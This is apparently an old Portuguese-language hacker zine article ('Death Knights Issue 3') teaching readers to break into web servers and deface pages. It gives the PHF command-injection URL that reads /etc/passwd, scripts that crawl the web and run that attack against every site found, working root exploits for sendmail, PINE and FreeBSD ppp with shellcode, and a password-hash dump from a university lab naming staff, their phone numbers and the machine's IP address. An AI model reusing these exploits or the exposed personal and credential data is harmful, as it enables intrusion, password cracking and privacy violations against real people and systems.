COMO HACKEAR WEBPAGES
Death Knights Issue 3
by Cacaio
Esta materia tem somente bugs que sao antigos, mas muuuiiitos provedores/ser vidores ainda estao desprotegidos, ate a Unicamp esta desprotegida quanto a um dos metodos para ter ideia! Vamos aos metodos que e' o que interessa!
Pegando o arquivo passwd via FTP
Este e' um dos metodos mais faceis de se pegar o arquivo passwd, mas a grande maioria das maquinas ja esta deixando o passwd em shadow. Uma outra grande zine (a Axur05) ja falou como pegar o arquivo passwd por este metodo, mas pra quem nao leu ou se esqueceu como se faz (esquecer e' bem dificil e lamer, hein!), vamos falar aqui como e'.
Voce entra por FTP anonimo na maquina em que voce quer pegar o passwd, entra no diretorio /etc (cd /etc) e pega o arquivo passwd (get passwd). Bem facil, mas poucas vezes se obtem sucesso.
Observe um arquivo passwd:
root:9IKVw3Pp.jAJw:0:1:Operator:/:/bin/csh
cris:u5GpJWccDjAf2:1113:20:Cristina Voltas Martinez Carrera:/usr/people/cris:/bin/csh
ebtrj:k9jRxMs4Wdp.o:2077:2077:Embratel Rio grupo Servico de Comunicacao de Mensagens:/usr/ebtrj:/bin/csh
Cacaio:./666\(4(410:1114:100:Cacaio Torquato:/usr/people/Cacaio:/bin/csh
Se o passwd o qual voce pegou estiver como na forma acima, ele nao esta' em shadow, logo e' so voce rodar o seu cracker de preferencia e pegar as senhas.
Observe agora outro passwd:
root:x:0:1:Superuser:/:
ftp:x:202:102:Anonymous ftp:/u1/ftp:
ftpadmin:x:203:102:ftp Administrator:/u1/ftp
E mais outro:
root:x:0:1:0000-Admin(0000):/:/usr/bin/csh
daemon:x:1:1:0000-Admin(0000):/:
bin:x:2:2:0000-Admin(0000):/usr/bin:
sys:x:3:3:0000-Admin(0000):/:
adm:x:4:4:0000-Admin(0000):/var/adm:
lp:x:71:8:0000-lp(0000):/usr/spool/lp:
smtp:x:0:0:mail daemon user:/:
uucp:x:5:5:0000-uucp(0000):/usr/lib/uucp:
nuucp:x:9:9:0000-uucp(0000):/var/spool/uucppublic:/usr/lib/uucp/uucico
listen:x:37:4:Network Admin:/usr/net/nls:
nobody:x:60001:60001:uid no body:/:
noaccess:x:60002:60002:uid no access:/:
webmastr:x:53:53:WWW Admin:/export/home/webmastr:/usr/bin/csh
ftp:x:54:54:Anonymous FTP:/export/home/anon_ftp:/bin/false
ecsl:x:1547:1547:Embrapa Centro de Soja de Londrina:/dka200/users/ecsl/bin/csh
scfbes:x:2071:2071:Secretaria da Crianca Familia Bem Estar Social:/dka20/users/scfbes:/bin/csh
scfbes01:x:2072:2072:Secretaria da Crianca Familia Bem Estar Social:/dka00/users/scfbes01:/bin/csh
scfbes02:x:2073:2073:Secretaria da Crianca Familia Bem Estar Social:/dka00/users/scfbes02:/bin/csh
scfbes03:x:2074:2074:Secretaria da Crianca Familia Bem Estar Social:/dka00/users/scfbes03:/bin/csh
mack:x:2075:2075:Universidade Mackenzie:/dka200/users/mack:/bin/csh
unimep:x:2076:2076:Universidade Metodista de Piracicaba:/dka200/users/unmep:/bin/csh
Estes arquvos passwd estao em shadow, logo tem um "x" no lugar da senha, e algumas vezes ou um "*" no lugar da senha.
Agora que voce sabe distinguir um arquivo passwd encriptado de um nao encriptado, e' so desencriptar e fazer a festa.
TECNICA DO PHF
Esta tecnica e' o modo mais facil de pegar o arquivo passwd. Embora nao funcione em 96% das vezes, e' o metodo mais rapido. Tudo o que precisa para usar este metodo e' um browser! Basta abrir seu browser com a seguinte URL:
http://Site_aqui!/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd
Voce tem que substituir Site_aqui! pelo endereco do site que voce quer pegar o passwd. Se voce quiser pegar em www.teste.com, use o seguinte:
http://www.teste.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd
E e' so' isso! Agora sente-se e copie os passwd's (se funcionar).
Eu usei o exploit do PHF na Unicamp e olha o que que deu!
Query Results
root:aCCa8dYQJWVqQ:0:0:Super-User,,,,,,,:/:/bin/ksh
sysadm:*:0:0:System V Administration:/usr/admin:/bin/sh
decnet:DECNET:998:998:DECnet guest acct,,,,,,,:/usr/tmp:/bin/login
diag:*:0:996:Hardware Diagnostics:/usr/diags:/bin/csh
daemon:*:1:1:daemons:/:/dev/null
bin:*:2:2:System Tools Owner:/bin:/dev/null
uucp:*:3:5:UUCP Owner:/usr/lib/uucp:/bin/csh
sys:*:4:0:System Activity Owner:/usr/adm:/bin/sh
adm:*:5:3:Accounting Files Owner:/usr/adm:/bin/sh
www:eI7hZr1cQFTwQ:6:0:www server owner:/usr/www:/bin/csh
lp::9:9:Print Spooler Owner,,,,,,,:/usr/spool/lp:/bin/sh
nuucp::10:10:Remote UUCP User,,,,,,,:/usr/spool/uucppublic:/usr/lib/uucp/uucic
demos:.uJWN.YFa.m22:993:997:Demonstration User,,,,,,,:/usr/demos:/bin/csh
tutor::994:997:Tutorial User,,,,,,,:/usr/tutor:/bin/csh
tour:okXFsOLp/8rkI:995:997:IRIS Space Tour,,,,,,,:/usr/people_original/tour:/bin/csh
guest::998:998:Guest Account,,,,,,,:/usr/people/guest:/bin/csh
4Dgifts::999:998:4Dgifts Account,,,,,,,:/usr/people/4Dgifts:/bin/csh
nobody:*:-2:-2::/dev/null:/dev/null
software:.XGHdpwNnItGQ:110:20:Software configuration manager,,,,,,,:/usr3/peop
e/software:/bin/csh
mdata:ti0o2Ep43W0s2:132:20:METPRO data manager,,,,,,,:/usr3/people/mdata:/bin/sh
kermit:E2RAqW.A2N0Hc:1126:20:kermit,,,,,,,:/usr3/people/kermit:/bin/csh
paulotak:QaIjH7AsNSCc.:1111:20:Paulo Takeshi Matsuo,,818-4808,,,,,:/usr3/people/paulotak:/bin/csh
hallak:zA/1hHxAsI7EA:1112:20:Ricardo Hallak,,,,,,,:/usr3/people/hallak:/bin/cs
claire:eI7hZr1cQFTwQ:1114:6:CLAIRE,,,,,,,:/usr/claire:/bin/csh
pldsdias:WOuljdZ/OquT.:1117:20:Pedro Leite da Silva Dias,Room 348,818-4732,,,,
DCA/IAG/USP:/usr3/people/pldsdias:/bin/csh
oacevedo:msegr.s.0GwKU:1119:20:Otavio Costa Acevedo,r do matao\, 1226,818-4808
,,,,Lab. Sinotica-DCA-IAG-USP:/usr3/people/oacevedo:/bin/csh
ftp:*:997:995:FTP anonymous account:/usr/local/ftp:/dev/null
goes:mm0Zpc.Of2C42:1122:20:Goes-8 Data Files,,,,,,,:/usr3/people/goes:/bin/csh
marciosm:FK0UdfsDPikDM:1123:20:Marcio Saul Mello,,818-4808,,,,,Lab.Sinotica/DC
:/usr3/people/marciosm:/bin/csh
mmgcosta:*Yf1/oFCDK0LwY:1124:20:Marcia Maria Gomes Costa,dca-iag-usp,818-4808,
,,,lab.sinotica:/usr3/people/mmgcosta:/bin/csh
ricnog:*r356Tz3A0Na56:1125:20:Ricardo Chabarria Nogueira,dca-iag-usp,818-4808,
,,,lab.sinotica:/usr3/people/ricnog:/bin/csh
mcpresti:*1VlnHqIO1Oel2:1127:20:Marcelo Cavedon Presti,dca-iag-usp,818-4808,,,
,lab.sinotica:/usr3/people/mcpresti:/bin/csh
caarem:Ym041q2m8kOj.:1128:20:Caarem Studzinski,dca-iag-usp,818-4808,,,,,lab.si
otica:/usr3/people/caarem:/bin/csh
msanches:WcSQSsKLE2CZA:1130:20:Marcos Barbosa Sanches,dca-iag-usp,818-4808,,,,
lab.Sinotica:/usr3/people/msanches:/bin/csh
fita:5BOrozc4Ait2I:1000:20:fita,,,,,,,:/usr3/people/fita:/bin/csh
gerop:GNDOZbhUMaN7k:1002:20:gerencia de operacao,dca-iag-usp,818-4808,,,,,lab.
inotica:/usr3/people/gerop:/bin/csh
mpcorrea:pw5VdSHMIEZLs:1132:20:Marcelo de Paula Correa,dca-iag-usp,818-4808,,,
,lab. Sinotica:/usr3/people/mpcorrea:/bin/csh
fhdsales:70s5hTVZFhLZM:1133:20:Fernando Henrique de Sales,dca-iag-usp,818-4808
818-4770,,,,,lab.sinotica:/usr3/people/fhdsales:/bin/csh
alepezza:Bbxdy.TqKIEds:1134:20:Alexandre Bernardes Pezza,dca-iag-usp,818-4808,
,,,lab.sinotica:/usr3/people/alepezza:/bin/csh
apereira:7LVRgDT5kiesU:1136:20:Augusto Jose Pereira Filho,cth,211-1933r237,,,,
cth-usp:/usr3/people/apereira:/bin/csh
allan:dEy/bvOiixF0c:1116:20:allan rodrigo de lima da silva,r do matao 1226,818
4808,,,,,lab.sinotica:/usr3/people/allan:/bin/csh
lpaulino:d.ZV5F6tX24Wo:1138:20:Luis Eduardo Bondesan Paulino:/usr3/people/lpau
ino:/bin/csh
yann:RtvRKVYKGOZYc:260:20:H. S. Yann:/usr3/people/yann:/bin/ksh
ricamarg:d8TISr2tNQr4E:1143:20:Ricardo Camargo:/usr3/people/ricamarg:/bin/csh
andreiat:vhnYxQBkEGG.E:1144:20:Anderia:/usr3/people/andreiat:/bin/csh
elicia:9sIdW5Hhq1FpA:1145:20:Elicia Eri Inazawa:/usr3/people/elicia:/bin/csh
phf
Se alguem quiser saber o endereco da maquina pra 'dar uma olhada', ai' vai:
143.107.14.157
Se voce quiser um metodo mais rapido pra pegar os passwd's com o metodo do PHF, ai vao tres scripts que com certeza te ajudarao! Na nossa page em breve tera um programa que estou fazendo que resume estes tres scripts em um so, e tambem tem outras utilidades relacionadas a cgi.
travel.sh
-------xX !!! CuT HeRe !!! !!! CuT HeRe !!! !!! CuT HeRe !!! Xx-------
#!/bin/sh
if [ $# -ne 1 ]
then
echo "Usage: $0 <web site to begin with>"
exit 1
fi
lynx -traversal -crawl http://$1
echo ; echo
rm -rf lnk*
rm -rf travers*
./grab.sh reject.dat list
-------xX !!! CuT HeRe !!! !!! CuT HeRe !!! !!! CuT HeRe !!! Xx-------
grab.sh
-------xX !!! CuT HeRe !!! !!! CuT HeRe !!! !!! CuT HeRe !!! Xx-------
#!/bin/sh
if [ $# -ne 2 ]
then
echo "Usage: $0 <rawlist> <output file>"
exit 1
fi
for site in `cat $1 | grep http | grep -v ">" | grep -v "<"`
do
echo $site | cut -d"/" -f3 >> $2.temp
done
for check in `cat $2.temp`
do
if [ "$check" != "" ]
then
echo $check >> $2.tmp
fi
done
cat $2.tmp | grep -v mil | grep -v gov > $2.temp
sort -fd $2.temp | uniq >> $2
rm $2.temp $2.tmp
echo ;
echo
-------xX !!! CuT HeRe !!! !!! CuT HeRe !!! !!! CuT HeRe !!! Xx-------
phf.sh
-------xX !!! CuT HeRe !!! !!! CuT HeRe !!! !!! CuT HeRe !!! Xx-------
#!/bin/sh
if [ $# -ne 1 ]
then
echo "Usage: $0 <list>"
exit 1
fi
phf="/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd"
for target in `cat $1`
do
echo Checking $target ...
lynx -dump http://$target$phf > $target.temp
if cat $target.temp | grep root:
then
echo The Death Knights group got possible passwd file from $target !
echo Greetings to CVC group!
mv $target.temp $target.pwd
echo phf >> $target.pwd
else
rm $target.temp
fi
done
-------xX !!! CuT HeRe !!! !!! CuT HeRe !!! !!! CuT HeRe !!! Xx-------
EXPLOITS
Exploits sao mais complexos do que pegar o passwd por ftp ou pelo phf, mas sao muito mais eficientes.
Para tentar um exploit, e' melhor ter uma conta no seu alvo (se possivel). Aqui irao alguns poucos exploits pra voce se divertir!
Sendmail v.8.8.4!
Este exploit cria um programa suid /tmp/x que te da acesso de root na shell.
Aqui o source para ficar mais facil:
-------xX !!! CuT HeRe !!! !!! CuT HeRe !!! !!! CuT HeRe !!! Xx-------
cat << _EOF_ >/tmp/x.c
#define RUN "/bin/ksh"
#include<stdio.h>
main()
{
execl(RUN,RUN,NULL);
}
_EOF_
#
cat << _EOF_ >/tmp/spawnfish.c
main()
{
execl("/usr/lib/sendmail","/tmp/smtpd",0);
}
_EOF_
#
cat << _EOF_ >/tmp/smtpd.c
main()
{
setuid(0); setgid(0);
system("chown root /tmp/x ;chmod 4755 /tmp/x");
}
_EOF_
#
#
gcc -O -o /tmp/x /tmp/x.c
gcc -O3 -o /tmp/spawnfish /tmp/spawnfish.c
gcc -O3 -o /tmp/smtpd /tmp/smtpd.c
#
/tmp/spawnfish
kill -HUP `/usr/ucb/ps -ax|grep /tmp/smtpd|grep -v grep|sed s/"[ ]*"// |cut -d" " -f1`
rm /tmp/spawnfish.c /tmp/spawnfish /tmp/smtpd.c /tmp/smtpd /tmp/x.c
sleep 5
if [ -u /tmp/x ] ; then
echo "leet..."
/tmp/x
fi
-------xX !!! CuT HeRe !!! !!! CuT HeRe !!! !!! CuT HeRe !!! Xx-------
Agora outro exploit. Vou mostrar agora o exploit do pine no linux.
Observando os processos com 'ps' pra ver quais usuarios estao usando o PINE, um pode entao dar um ls no /tmp pra apanhar os lockfiles de cada usuario. Observando os processos novamente ira agora revelar quando cada usuario sai do PINE ou sai das mensagens nao lidas na INBOX, efetivamente apagando o respectivo lockfile.
Criando um link simbolico de /tmp/.harmors_lockfile para ~harmors.rhosts ira fazer com que o PINE crie ~hamors/.rhosts como um arquivo com o mesmo processo e identificacao do pine. Agora basta simplesmente fazer um echo "+ +" > /tmp/.hamors_lockfile e entao um rm /tmp/.hamors_lockfile.
O seguinte exemplo foi escrito por Sean B. Hamor. Neste exemplo hamors e' a vitima e catluvr e' quem ataca:
hamors (21 19:04) litterbox:~> pine
catluvr (6 19:06) litterbox:~> ps -aux | grep pine
catluvr 1739 0.0 1.8 100 356 pp3 S 19:07 0:00 grep pine
hamors 1732 0.8 5.7 249 1104 pp2 S 19:05 0:00 pine
catluvr (7 19:07) litterbox:~> ls -al /tmp/ | grep hamors
- -rw-rw-rw- 1 hamors elite 4 Aug 26 19:05 .302.f5a4
catluvr (8 19:07) litterbox:~> ps -aux | grep pine
catluvr 1744 0.0 1.8 100 356 pp3 S 19:08 0:00 grep pine
catluvr (9 19:09) litterbox:~> ln -s /home/hamors/.rhosts /tmp/.302.f5a4
hamors (23 19:09) litterbox:~> pine
catluvr (11 19:10) litterbox:~> ps -aux | grep pine
catluvr 1759 0.0 1.8 100 356 pp3 S 19:11 0:00 grep pine
hamors 1756 2.7 5.1 226 992 pp2 S 19:10 0:00 pine
catluvr (12 19:11) litterbox:~> echo "+ +" > /tmp/.302.f5a4
catluvr (13 19:12) litterbox:~> cat /tmp/.302.f5a4
+ +
catluvr (14 19:12) litterbox:~> rm /tmp/.302.f5a4
catluvr (15 19:14) litterbox:~> rlogin litterbox.org -l hamors
Agora o ultimo e melhor exploit que irei mostrar.
Um script para exploracao da vulnerabilidade do ppp. Funciona perfeitamente no FreeBSD. Mexa nos numeros se nao funcionar. Aqui vai:
-------xX !!! CuT HeRe !!! !!! CuT HeRe !!! !!! CuT HeRe !!! Xx-------
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#define BUFFER_SIZE 156
#define OFFSET -290
long get_esp(void) { __asm__("movl %esp,%eax\n"); }
main(int argc, char *argv[])
{
char *buf = NULL;
unsigned long *addr_ptr = NULL;
char *ptr = NULL;
char execshell[] =
"\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f"
"\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52"
"\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01"
"\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04";
int i,j;
buf = malloc(4096);
i = BUFFER_SIZE-strlen(execshell);
memset(buf, 0x90, i);
ptr = buf + i;
for(i = 0; i < strlen(execshell); i++)
*ptr++ = execshell[i];
addr_ptr = (long *)ptr;
for(i=0;i < (104/4); i++)
*addr_ptr++ = get_esp() + OFFSET;
ptr = (char *)addr_ptr;
*ptr = 0;
setenv("HOME", buf, 1);
execl("/usr/sbin/ppp", "ppp", NULL);
}
-------xX !!! CuT HeRe !!! !!! CuT HeRe !!! !!! CuT HeRe !!! Xx-------
Agora que voce ja tem acesso root, qual o proximo passo? Modificar a pagina e se divertir!
Cacaio@DeathKnights.com